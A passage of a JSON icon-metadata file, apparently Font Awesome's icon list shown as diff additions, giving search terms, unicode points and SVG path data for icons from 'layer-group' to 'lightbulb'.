58.6s-103.6-20.8-141.4-58.6C68.8 359.6 48 309.4 48 256s20.8-103.6 58.6-141.4C144.4 76.8 194.6 56 248 56s103.6 20.8 141.4 58.6c37.8 37.8 58.6 88 58.6 141.4s-20.8 103.6-58.6 141.4zM328 164c-25.7 0-55.9 16.9-59.9 42.1-1.7 11.2 11.5 18.2 19.8 10.8l9.5-8.5c14.8-13.2 46.2-13.2 61 0l9.5 8.5c8.5 7.4 21.6.3 19.8-10.8-3.8-25.2-34-42.1-59.7-42.1zm-160 60c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm194.4 64H133.6c-8.2 0-14.5 7-13.5 15 7.5 59.2 58.9 105 121.1 105h13.6c62.2 0 113.6-45.8 121.1-105 1-8-5.3-15-13.5-15z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "layer-group": { + "changes": [ + "5.2.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arrange", + "develop", + "layers", + "map", + "stack" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f5fd", + "label": "Layer Group", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635569, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M12.41 148.02l232.94 105.67c6.8 3.09 14.49 3.09 21.29 0l232.94-105.67c16.55-7.51 16.55-32.52 0-40.03L266.65 2.31a25.607 25.607 0 0 0-21.29 0L12.41 107.98c-16.55 7.51-16.55 32.53 0 40.04zm487.18 88.28l-58.09-26.33-161.64 73.27c-7.56 3.43-15.59 5.17-23.86 5.17s-16.29-1.74-23.86-5.17L70.51 209.97l-58.1 26.33c-16.55 7.5-16.55 32.5 0 40l232.94 105.59c6.8 3.08 14.49 3.08 21.29 0L499.59 276.3c16.55-7.5 16.55-32.5 0-40zm0 127.8l-57.87-26.23-161.86 73.37c-7.56 3.43-15.59 5.17-23.86 5.17s-16.29-1.74-23.86-5.17L70.29 337.87 12.41 364.1c-16.55 7.5-16.55 32.5 0 40l232.94 105.59c6.8 3.08 14.49 3.08 21.29 0L499.59 404.1c16.55-7.5 16.55-32.5 0-40z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M12.41 148.02l232.94 105.67c6.8 3.09 14.49 3.09 21.29 0l232.94-105.67c16.55-7.51 16.55-32.52 0-40.03L266.65 2.31a25.607 25.607 0 0 0-21.29 0L12.41 107.98c-16.55 7.51-16.55 32.53 0 40.04zm487.18 88.28l-58.09-26.33-161.64 73.27c-7.56 3.43-15.59 5.17-23.86 5.17s-16.29-1.74-23.86-5.17L70.51 209.97l-58.1 26.33c-16.55 7.5-16.55 32.5 0 40l232.94 105.59c6.8 3.08 14.49 3.08 21.29 0L499.59 276.3c16.55-7.5 16.55-32.5 0-40zm0 127.8l-57.87-26.23-161.86 73.37c-7.56 3.43-15.59 5.17-23.86 5.17s-16.29-1.74-23.86-5.17L70.29 337.87 12.41 364.1c-16.55 7.5-16.55 32.5 0 40l232.94 105.59c6.8 3.08 14.49 3.08 21.29 0L499.59 404.1c16.55-7.5 16.55-32.5 0-40z" + } + }, + "free": [ + "solid" + ] + }, + "leaf": { + "changes": [ + "1", + "5.0.0", + "5.0.9" + ], + "ligatures": [], + "search": { + "terms": [ + "eco", + "flora", + "nature", + "plant", + "vegan" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f06c", + "label": "leaf", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635571, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M546.2 9.7c-5.6-12.5-21.6-13-28.3-1.2C486.9 62.4 431.4 96 368 96h-80C182 96 96 182 96 288c0 7 .8 13.7 1.5 20.5C161.3 262.8 253.4 224 384 224c8.8 0 16 7.2 16 16s-7.2 16-16 16C132.6 256 26 410.1 2.4 468c-6.6 16.3 1.2 34.9 17.5 41.6 16.4 6.8 35-1.1 41.8-17.3 1.5-3.6 20.9-47.9 71.9-90.6 32.4 43.9 94 85.8 174.9 77.2C465.5 467.5 576 326.7 576 154.3c0-50.2-10.8-102.2-29.8-144.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M546.2 9.7c-5.6-12.5-21.6-13-28.3-1.2C486.9 62.4 431.4 96 368 96h-80C182 96 96 182 96 288c0 7 .8 13.7 1.5 20.5C161.3 262.8 253.4 224 384 224c8.8 0 16 7.2 16 16s-7.2 16-16 16C132.6 256 26 410.1 2.4 468c-6.6 16.3 1.2 34.9 17.5 41.6 16.4 6.8 35-1.1 41.8-17.3 1.5-3.6 20.9-47.9 71.9-90.6 32.4 43.9 94 85.8 174.9 77.2C465.5 467.5 576 326.7 576 154.3c0-50.2-10.8-102.2-29.8-144.6z" + } + }, + "free": [ + "solid" + ] + }, + "leanpub": { + "changes": [ + "4.3", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f212", + "label": "Leanpub", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861003, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M386.539 111.485l15.096 248.955-10.979-.275c-36.232-.824-71.64 8.783-102.657 27.997-31.016-19.214-66.424-27.997-102.657-27.997-45.564 0-82.07 10.705-123.516 27.723L93.117 129.6c28.546-11.803 61.484-18.115 92.226-18.115 41.173 0 73.836 13.175 102.657 42.544 27.723-28.271 59.013-41.721 98.539-42.544zM569.07 448c-25.526 0-47.485-5.215-70.542-15.645-34.31-15.645-69.993-24.978-107.871-24.978-38.977 0-74.934 12.901-102.657 40.623-27.723-27.723-63.68-40.623-102.657-40.623-37.878 0-73.561 9.333-107.871 24.978C55.239 442.236 32.731 448 8.303 448H6.93L49.475 98.859C88.726 76.626 136.486 64 181.775 64 218.83 64 256.984 71.685 288 93.095 319.016 71.685 357.17 64 394.225 64c45.289 0 93.049 12.626 132.3 34.859L569.07 448zm-43.368-44.741l-34.036-280.246c-30.742-13.999-67.248-21.41-101.009-21.41-38.428 0-74.385 12.077-102.657 38.702-28.272-26.625-64.228-38.702-102.657-38.702-33.761 0-70.267 7.411-101.009 21.41L50.298 403.259c47.211-19.487 82.894-33.486 135.045-33.486 37.604 0 70.817 9.606 102.657 29.644 31.84-20.038 65.052-29.644 102.657-29.644 52.151 0 87.834 13.999 135.045 33.486z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M386.539 111.485l15.096 248.955-10.979-.275c-36.232-.824-71.64 8.783-102.657 27.997-31.016-19.214-66.424-27.997-102.657-27.997-45.564 0-82.07 10.705-123.516 27.723L93.117 129.6c28.546-11.803 61.484-18.115 92.226-18.115 41.173 0 73.836 13.175 102.657 42.544 27.723-28.271 59.013-41.721 98.539-42.544zM569.07 448c-25.526 0-47.485-5.215-70.542-15.645-34.31-15.645-69.993-24.978-107.871-24.978-38.977 0-74.934 12.901-102.657 40.623-27.723-27.723-63.68-40.623-102.657-40.623-37.878 0-73.561 9.333-107.871 24.978C55.239 442.236 32.731 448 8.303 448H6.93L49.475 98.859C88.726 76.626 136.486 64 181.775 64 218.83 64 256.984 71.685 288 93.095 319.016 71.685 357.17 64 394.225 64c45.289 0 93.049 12.626 132.3 34.859L569.07 448zm-43.368-44.741l-34.036-280.246c-30.742-13.999-67.248-21.41-101.009-21.41-38.428 0-74.385 12.077-102.657 38.702-28.272-26.625-64.228-38.702-102.657-38.702-33.761 0-70.267 7.411-101.009 21.41L50.298 403.259c47.211-19.487 82.894-33.486 135.045-33.486 37.604 0 70.817 9.606 102.657 29.644 31.84-20.038 65.052-29.644 102.657-29.644 52.151 0 87.834 13.999 135.045 33.486z" + } + }, + "free": [ + "brands" + ] + }, + "lemon": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "citrus", + "lemonade", + "lime", + "tart" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f094", + "label": "Lemon", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635571, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M489.038 22.963C465.944-.13 434.648-5.93 413.947 6.129c-58.906 34.312-181.25-53.077-321.073 86.746S40.441 355.041 6.129 413.945c-12.059 20.702-6.26 51.999 16.833 75.093 23.095 23.095 54.392 28.891 75.095 16.832 58.901-34.31 181.246 53.079 321.068-86.743S471.56 156.96 505.871 98.056c12.059-20.702 6.261-51.999-16.833-75.093zM243.881 95.522c-58.189 14.547-133.808 90.155-148.358 148.358-1.817 7.27-8.342 12.124-15.511 12.124-1.284 0-2.59-.156-3.893-.481-8.572-2.144-13.784-10.83-11.642-19.403C81.901 166.427 166.316 81.93 236.119 64.478c8.575-2.143 17.261 3.069 19.403 11.642s-3.069 17.259-11.641 19.402z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M489.038 22.963C465.944-.13 434.648-5.93 413.947 6.129c-58.906 34.312-181.25-53.077-321.073 86.746S40.441 355.041 6.129 413.945c-12.059 20.702-6.26 51.999 16.833 75.093 23.095 23.095 54.392 28.891 75.095 16.832 58.901-34.31 181.246 53.079 321.068-86.743S471.56 156.96 505.871 98.056c12.059-20.702 6.261-51.999-16.833-75.093zM243.881 95.522c-58.189 14.547-133.808 90.155-148.358 148.358-1.817 7.27-8.342 12.124-15.511 12.124-1.284 0-2.59-.156-3.893-.481-8.572-2.144-13.784-10.83-11.642-19.403C81.901 166.427 166.316 81.93 236.119 64.478c8.575-2.143 17.261 3.069 19.403 11.642s-3.069 17.259-11.641 19.402z" + }, + "regular": { + "last_modified": 1628088634889, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M484.112 27.889C455.989-.233 416.108-8.057 387.059 8.865 347.604 31.848 223.504-41.111 91.196 91.197-41.277 223.672 31.923 347.472 8.866 387.058c-16.922 29.051-9.1 68.932 19.022 97.054 28.135 28.135 68.011 35.938 97.057 19.021 39.423-22.97 163.557 49.969 295.858-82.329 132.474-132.477 59.273-256.277 82.331-295.861 16.922-29.05 9.1-68.931-19.022-97.054zm-22.405 72.894c-38.8 66.609 45.6 165.635-74.845 286.08-120.44 120.443-219.475 36.048-286.076 74.843-22.679 13.207-64.035-27.241-50.493-50.488 38.8-66.609-45.6-165.635 74.845-286.08C245.573 4.702 344.616 89.086 411.219 50.292c22.73-13.24 64.005 27.288 50.488 50.491zm-169.861 8.736c1.37 10.96-6.404 20.957-17.365 22.327-54.846 6.855-135.779 87.787-142.635 142.635-1.373 10.989-11.399 18.734-22.326 17.365-10.961-1.37-18.735-11.366-17.365-22.326 9.162-73.286 104.167-168.215 177.365-177.365 10.953-1.368 20.956 6.403 22.326 17.364z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M484.112 27.889C455.989-.233 416.108-8.057 387.059 8.865 347.604 31.848 223.504-41.111 91.196 91.197-41.277 223.672 31.923 347.472 8.866 387.058c-16.922 29.051-9.1 68.932 19.022 97.054 28.135 28.135 68.011 35.938 97.057 19.021 39.423-22.97 163.557 49.969 295.858-82.329 132.474-132.477 59.273-256.277 82.331-295.861 16.922-29.05 9.1-68.931-19.022-97.054zm-22.405 72.894c-38.8 66.609 45.6 165.635-74.845 286.08-120.44 120.443-219.475 36.048-286.076 74.843-22.679 13.207-64.035-27.241-50.493-50.488 38.8-66.609-45.6-165.635 74.845-286.08C245.573 4.702 344.616 89.086 411.219 50.292c22.73-13.24 64.005 27.288 50.488 50.491zm-169.861 8.736c1.37 10.96-6.404 20.957-17.365 22.327-54.846 6.855-135.779 87.787-142.635 142.635-1.373 10.989-11.399 18.734-22.326 17.365-10.961-1.37-18.735-11.366-17.365-22.326 9.162-73.286 104.167-168.215 177.365-177.365 10.953-1.368 20.956 6.403 22.326 17.364z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "less": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f41d", + "label": "Less", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861003, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M612.7 219c0-20.5 3.2-32.6 3.2-54.6 0-34.2-12.6-45.2-40.5-45.2h-20.5v24.2h6.3c14.2 0 17.3 4.7 17.3 22.1 0 16.3-1.6 32.6-1.6 51.5 0 24.2 7.9 33.6 23.6 37.3v1.6c-15.8 3.7-23.6 13.1-23.6 37.3 0 18.9 1.6 34.2 1.6 51.5 0 17.9-3.7 22.6-17.3 22.6v.5h-6.3V393h20.5c27.8 0 40.5-11 40.5-45.2 0-22.6-3.2-34.2-3.2-54.6 0-11 6.8-22.6 27.3-23.6v-27.3c-20.5-.7-27.3-12.3-27.3-23.3zm-105.6 32c-15.8-6.3-30.5-10-30.5-20.5 0-7.9 6.3-12.6 17.9-12.6s22.1 4.7 33.6 13.1l21-27.8c-13.1-10-31-20.5-55.2-20.5-35.7 0-59.9 20.5-59.9 49.4 0 25.7 22.6 38.9 41.5 46.2 16.3 6.3 32.1 11.6 32.1 22.1 0 7.9-6.3 13.1-20.5 13.1-13.1 0-26.3-5.3-40.5-16.3l-21 30.5c15.8 13.1 39.9 22.1 59.9 22.1 42 0 64.6-22.1 64.6-51s-22.5-41-43-47.8zm-358.9 59.4c-3.7 0-8.4-3.2-8.4-13.1V119.1H65.2c-28.4 0-41 11-41 45.2 0 22.6 3.2 35.2 3.2 54.6 0 11-6.8 22.6-27.3 23.6v27.3c20.5.5 27.3 12.1 27.3 23.1 0 19.4-3.2 31-3.2 53.6 0 34.2 12.6 45.2 40.5 45.2h20.5v-24.2h-6.3c-13.1 0-17.3-5.3-17.3-22.6s1.6-32.1 1.6-51.5c0-24.2-7.9-33.6-23.6-37.3v-1.6c15.8-3.7 23.6-13.1 23.6-37.3 0-18.9-1.6-34.2-1.6-51.5s3.7-22.1 17.3-22.1H93v150.8c0 32.1 11 53.1 43.1 53.1 10 0 17.9-1.6 23.6-3.7l-5.3-34.2c-3.1.8-4.6.8-6.2.8zM379.9 251c-16.3-6.3-31-10-31-20.5 0-7.9 6.3-12.6 17.9-12.6 11.6 0 22.1 4.7 33.6 13.1l21-27.8c-13.1-10-31-20.5-55.2-20.5-35.7 0-59.9 20.5-59.9 49.4 0 25.7 22.6 38.9 41.5 46.2 16.3 6.3 32.1 11.6 32.1 22.1 0 7.9-6.3 13.1-20.5 13.1-13.1 0-26.3-5.3-40.5-16.3l-20.5 30.5c15.8 13.1 39.9 22.1 59.9 22.1 42 0 64.6-22.1 64.6-51 .1-28.9-22.5-41-43-47.8zm-155-68.8c-38.4 0-75.1 32.1-74.1 82.5 0 52 34.2 82.5 79.3 82.5 18.9 0 39.9-6.8 56.2-17.9l-15.8-27.8c-11.6 6.8-22.6 10-34.2 10-21 0-37.3-10-41.5-34.2H290c.5-3.7 1.6-11 1.6-19.4.6-42.6-22.6-75.7-66.7-75.7zm-30 66.2c3.2-21 15.8-31 30.5-31 18.9 0 26.3 13.1 26.3 31h-56.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M612.7 219c0-20.5 3.2-32.6 3.2-54.6 0-34.2-12.6-45.2-40.5-45.2h-20.5v24.2h6.3c14.2 0 17.3 4.7 17.3 22.1 0 16.3-1.6 32.6-1.6 51.5 0 24.2 7.9 33.6 23.6 37.3v1.6c-15.8 3.7-23.6 13.1-23.6 37.3 0 18.9 1.6 34.2 1.6 51.5 0 17.9-3.7 22.6-17.3 22.6v.5h-6.3V393h20.5c27.8 0 40.5-11 40.5-45.2 0-22.6-3.2-34.2-3.2-54.6 0-11 6.8-22.6 27.3-23.6v-27.3c-20.5-.7-27.3-12.3-27.3-23.3zm-105.6 32c-15.8-6.3-30.5-10-30.5-20.5 0-7.9 6.3-12.6 17.9-12.6s22.1 4.7 33.6 13.1l21-27.8c-13.1-10-31-20.5-55.2-20.5-35.7 0-59.9 20.5-59.9 49.4 0 25.7 22.6 38.9 41.5 46.2 16.3 6.3 32.1 11.6 32.1 22.1 0 7.9-6.3 13.1-20.5 13.1-13.1 0-26.3-5.3-40.5-16.3l-21 30.5c15.8 13.1 39.9 22.1 59.9 22.1 42 0 64.6-22.1 64.6-51s-22.5-41-43-47.8zm-358.9 59.4c-3.7 0-8.4-3.2-8.4-13.1V119.1H65.2c-28.4 0-41 11-41 45.2 0 22.6 3.2 35.2 3.2 54.6 0 11-6.8 22.6-27.3 23.6v27.3c20.5.5 27.3 12.1 27.3 23.1 0 19.4-3.2 31-3.2 53.6 0 34.2 12.6 45.2 40.5 45.2h20.5v-24.2h-6.3c-13.1 0-17.3-5.3-17.3-22.6s1.6-32.1 1.6-51.5c0-24.2-7.9-33.6-23.6-37.3v-1.6c15.8-3.7 23.6-13.1 23.6-37.3 0-18.9-1.6-34.2-1.6-51.5s3.7-22.1 17.3-22.1H93v150.8c0 32.1 11 53.1 43.1 53.1 10 0 17.9-1.6 23.6-3.7l-5.3-34.2c-3.1.8-4.6.8-6.2.8zM379.9 251c-16.3-6.3-31-10-31-20.5 0-7.9 6.3-12.6 17.9-12.6 11.6 0 22.1 4.7 33.6 13.1l21-27.8c-13.1-10-31-20.5-55.2-20.5-35.7 0-59.9 20.5-59.9 49.4 0 25.7 22.6 38.9 41.5 46.2 16.3 6.3 32.1 11.6 32.1 22.1 0 7.9-6.3 13.1-20.5 13.1-13.1 0-26.3-5.3-40.5-16.3l-20.5 30.5c15.8 13.1 39.9 22.1 59.9 22.1 42 0 64.6-22.1 64.6-51 .1-28.9-22.5-41-43-47.8zm-155-68.8c-38.4 0-75.1 32.1-74.1 82.5 0 52 34.2 82.5 79.3 82.5 18.9 0 39.9-6.8 56.2-17.9l-15.8-27.8c-11.6 6.8-22.6 10-34.2 10-21 0-37.3-10-41.5-34.2H290c.5-3.7 1.6-11 1.6-19.4.6-42.6-22.6-75.7-66.7-75.7zm-30 66.2c3.2-21 15.8-31 30.5-31 18.9 0 26.3 13.1 26.3 31h-56.8z" + } + }, + "free": [ + "brands" + ] + }, + "less-than": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "arithmetic", + "compare", + "math" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f536", + "label": "Less Than", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635572, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M365.46 357.74L147.04 255.89l218.47-101.88c16.02-7.47 22.95-26.51 15.48-42.53l-13.52-29C360 66.46 340.96 59.53 324.94 67L18.48 209.91a32.014 32.014 0 0 0-18.48 29v34.24c0 12.44 7.21 23.75 18.48 29l306.31 142.83c16.06 7.49 35.15.54 42.64-15.52l13.56-29.08c7.49-16.06.54-35.15-15.53-42.64z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M365.46 357.74L147.04 255.89l218.47-101.88c16.02-7.47 22.95-26.51 15.48-42.53l-13.52-29C360 66.46 340.96 59.53 324.94 67L18.48 209.91a32.014 32.014 0 0 0-18.48 29v34.24c0 12.44 7.21 23.75 18.48 29l306.31 142.83c16.06 7.49 35.15.54 42.64-15.52l13.56-29.08c7.49-16.06.54-35.15-15.53-42.64z" + } + }, + "free": [ + "solid" + ] + }, + "less-than-equal": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "arithmetic", + "compare", + "math" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f537", + "label": "Less Than Equal To", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635571, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M54.98 214.2l301.41 119.87c18.39 6.03 38.71-2.54 45.38-19.15l12.09-30.08c6.68-16.61-2.82-34.97-21.21-41l-175.44-68.05 175.56-68.09c18.29-6 27.74-24.27 21.1-40.79l-12.03-29.92c-6.64-16.53-26.86-25.06-45.15-19.06L54.98 137.89C41.21 142.41 32 154.5 32 168.07v15.96c0 13.56 9.21 25.65 22.98 30.17zM424 400H24c-13.25 0-24 10.74-24 24v48c0 13.25 10.75 24 24 24h400c13.25 0 24-10.75 24-24v-48c0-13.26-10.75-24-24-24z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M54.98 214.2l301.41 119.87c18.39 6.03 38.71-2.54 45.38-19.15l12.09-30.08c6.68-16.61-2.82-34.97-21.21-41l-175.44-68.05 175.56-68.09c18.29-6 27.74-24.27 21.1-40.79l-12.03-29.92c-6.64-16.53-26.86-25.06-45.15-19.06L54.98 137.89C41.21 142.41 32 154.5 32 168.07v15.96c0 13.56 9.21 25.65 22.98 30.17zM424 400H24c-13.25 0-24 10.74-24 24v48c0 13.25 10.75 24 24 24h400c13.25 0 24-10.75 24-24v-48c0-13.26-10.75-24-24-24z" + } + }, + "free": [ + "solid" + ] + }, + "level-down-alt": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arrow", + "level-down" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f3be", + "label": "Alternate Level Down", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635572, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M313.553 392.331L209.587 504.334c-9.485 10.214-25.676 10.229-35.174 0L70.438 392.331C56.232 377.031 67.062 352 88.025 352H152V80H68.024a11.996 11.996 0 0 1-8.485-3.515l-56-56C-4.021 12.926 1.333 0 12.024 0H208c13.255 0 24 10.745 24 24v328h63.966c20.878 0 31.851 24.969 17.587 40.331z\"/></svg>", + "viewBox": [ + "0", + "0", + "320", + "512" + ], + "width": 320, + "height": 512, + "path": "M313.553 392.331L209.587 504.334c-9.485 10.214-25.676 10.229-35.174 0L70.438 392.331C56.232 377.031 67.062 352 88.025 352H152V80H68.024a11.996 11.996 0 0 1-8.485-3.515l-56-56C-4.021 12.926 1.333 0 12.024 0H208c13.255 0 24 10.745 24 24v328h63.966c20.878 0 31.851 24.969 17.587 40.331z" + } + }, + "free": [ + "solid" + ] + }, + "level-up-alt": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arrow", + "level-up" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f3bf", + "label": "Alternate Level Up", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635572, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M313.553 119.669L209.587 7.666c-9.485-10.214-25.676-10.229-35.174 0L70.438 119.669C56.232 134.969 67.062 160 88.025 160H152v272H68.024a11.996 11.996 0 0 0-8.485 3.515l-56 56C-4.021 499.074 1.333 512 12.024 512H208c13.255 0 24-10.745 24-24V160h63.966c20.878 0 31.851-24.969 17.587-40.331z\"/></svg>", + "viewBox": [ + "0", + "0", + "320", + "512" + ], + "width": 320, + "height": 512, + "path": "M313.553 119.669L209.587 7.666c-9.485-10.214-25.676-10.229-35.174 0L70.438 119.669C56.232 134.969 67.062 160 88.025 160H152v272H68.024a11.996 11.996 0 0 0-8.485 3.515l-56 56C-4.021 499.074 1.333 512 12.024 512H208c13.255 0 24-10.745 24-24V160h63.966c20.878 0 31.851-24.969 17.587-40.331z" + } + }, + "free": [ + "solid" + ] + }, + "life-ring": { + "changes": [ + "4.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "coast guard", + "help", + "overboard", + "save", + "support" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f1cd", + "label": "Life Ring", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635573, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 8C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm173.696 119.559l-63.399 63.399c-10.987-18.559-26.67-34.252-45.255-45.255l63.399-63.399a218.396 218.396 0 0 1 45.255 45.255zM256 352c-53.019 0-96-42.981-96-96s42.981-96 96-96 96 42.981 96 96-42.981 96-96 96zM127.559 82.304l63.399 63.399c-18.559 10.987-34.252 26.67-45.255 45.255l-63.399-63.399a218.372 218.372 0 0 1 45.255-45.255zM82.304 384.441l63.399-63.399c10.987 18.559 26.67 34.252 45.255 45.255l-63.399 63.399a218.396 218.396 0 0 1-45.255-45.255zm302.137 45.255l-63.399-63.399c18.559-10.987 34.252-26.67 45.255-45.255l63.399 63.399a218.403 218.403 0 0 1-45.255 45.255z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 8C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm173.696 119.559l-63.399 63.399c-10.987-18.559-26.67-34.252-45.255-45.255l63.399-63.399a218.396 218.396 0 0 1 45.255 45.255zM256 352c-53.019 0-96-42.981-96-96s42.981-96 96-96 96 42.981 96 96-42.981 96-96 96zM127.559 82.304l63.399 63.399c-18.559 10.987-34.252 26.67-45.255 45.255l-63.399-63.399a218.372 218.372 0 0 1 45.255-45.255zM82.304 384.441l63.399-63.399c10.987 18.559 26.67 34.252 45.255 45.255l-63.399 63.399a218.396 218.396 0 0 1-45.255-45.255zm302.137 45.255l-63.399-63.399c18.559-10.987 34.252-26.67 45.255-45.255l63.399 63.399a218.403 218.403 0 0 1-45.255 45.255z" + }, + "regular": { + "last_modified": 1628088634891, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 504c136.967 0 248-111.033 248-248S392.967 8 256 8 8 119.033 8 256s111.033 248 248 248zm-103.398-76.72l53.411-53.411c31.806 13.506 68.128 13.522 99.974 0l53.411 53.411c-63.217 38.319-143.579 38.319-206.796 0zM336 256c0 44.112-35.888 80-80 80s-80-35.888-80-80 35.888-80 80-80 80 35.888 80 80zm91.28 103.398l-53.411-53.411c13.505-31.806 13.522-68.128 0-99.974l53.411-53.411c38.319 63.217 38.319 143.579 0 206.796zM359.397 84.72l-53.411 53.411c-31.806-13.505-68.128-13.522-99.973 0L152.602 84.72c63.217-38.319 143.579-38.319 206.795 0zM84.72 152.602l53.411 53.411c-13.506 31.806-13.522 68.128 0 99.974L84.72 359.398c-38.319-63.217-38.319-143.579 0-206.796z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 504c136.967 0 248-111.033 248-248S392.967 8 256 8 8 119.033 8 256s111.033 248 248 248zm-103.398-76.72l53.411-53.411c31.806 13.506 68.128 13.522 99.974 0l53.411 53.411c-63.217 38.319-143.579 38.319-206.796 0zM336 256c0 44.112-35.888 80-80 80s-80-35.888-80-80 35.888-80 80-80 80 35.888 80 80zm91.28 103.398l-53.411-53.411c13.505-31.806 13.522-68.128 0-99.974l53.411-53.411c38.319 63.217 38.319 143.579 0 206.796zM359.397 84.72l-53.411 53.411c-31.806-13.505-68.128-13.522-99.973 0L152.602 84.72c63.217-38.319 143.579-38.319 206.795 0zM84.72 152.602l53.411 53.411c-13.506 31.806-13.522 68.128 0 99.974L84.72 359.398c-38.319-63.217-38.319-143.579 0-206.796z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "lightbulb": { + "changes": [ + "3", + "5.0.0", + "5.3.0" + ], + "ligatures": [], + "search": { + "terms": [ + "energy", + "idea", + "inspiration", + "light" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f0eb", + "label": "Lightbulb", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635576, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 352 512\"><path d=\"M96.06 454.35c.01 6.29 1.87 12.45 5.36 17.69l17.09 25.69a31.99 31.99 0 0 0 26.64 14.28h61.71a31.99 31.99 0 0 0 26.64-14.28l17.09-25.69a31.989 31.989 0 0 0 5.36-17.69l.04-38.35H96.01l.05 38.35zM0 176c0 44.37 16.45 84.85 43.56 115.78 16.52 18.85 42.36 58.23 52.21 91.45.04.26.07.52.11.78h160.24c.04-.26.07-.51.11-.78 9.85-33.22 35.69-72.6 52.21-91.45C335.55 260.85 352 220.37 352 176 352 78.61 272.91-.3 175.45 0 73.44.31 0 82.97 0 176zm176-80c-44.11 0-80 35.89-80 80 0 8.84-7.16 16-16 16s-16-7.16-16-16c0-61.76 50.24-112 112-112 8.84 0 16 7.16 16 16s-7.16 16-16 16z\"/></svg>", + "viewBox": [ + "0", + "0", + "352", + "512" + ], + "width": 352, + "height": 512, + "path": "M96.06 454.35c.01 6.29 1.87 12.45 5.36 17.69l17.09 25.69a31.99 31.99 0 0 0 26.64 14.28h61.71a31.99 31.99 0 0 0 26.64-14.28l17.09-25.69a31.989 31.989 0 0 0 5.36-17.69l.04-38.35H96.01l.05 38.35zM0 176c0 44.37 16.45 84.85 43.56 115.78 16.52 18.85 42.36 58.23 52.21 91.45.04.26.07.52.11.78h160.24c.04-.26.07-.51.11-.78 9.85-33.22 35.69-72.6 52.21-91.45C335.55 260.85 352 220.37 352 176 352 78.61 272.91-.3 175.45 0 73.44.31 0 82.97 0 176zm176-80c-44.11 0-80 35.89-80 80 0 8.84-7.16 16-16 16s-16-7.16-16-16c0-61.76 50.24-112 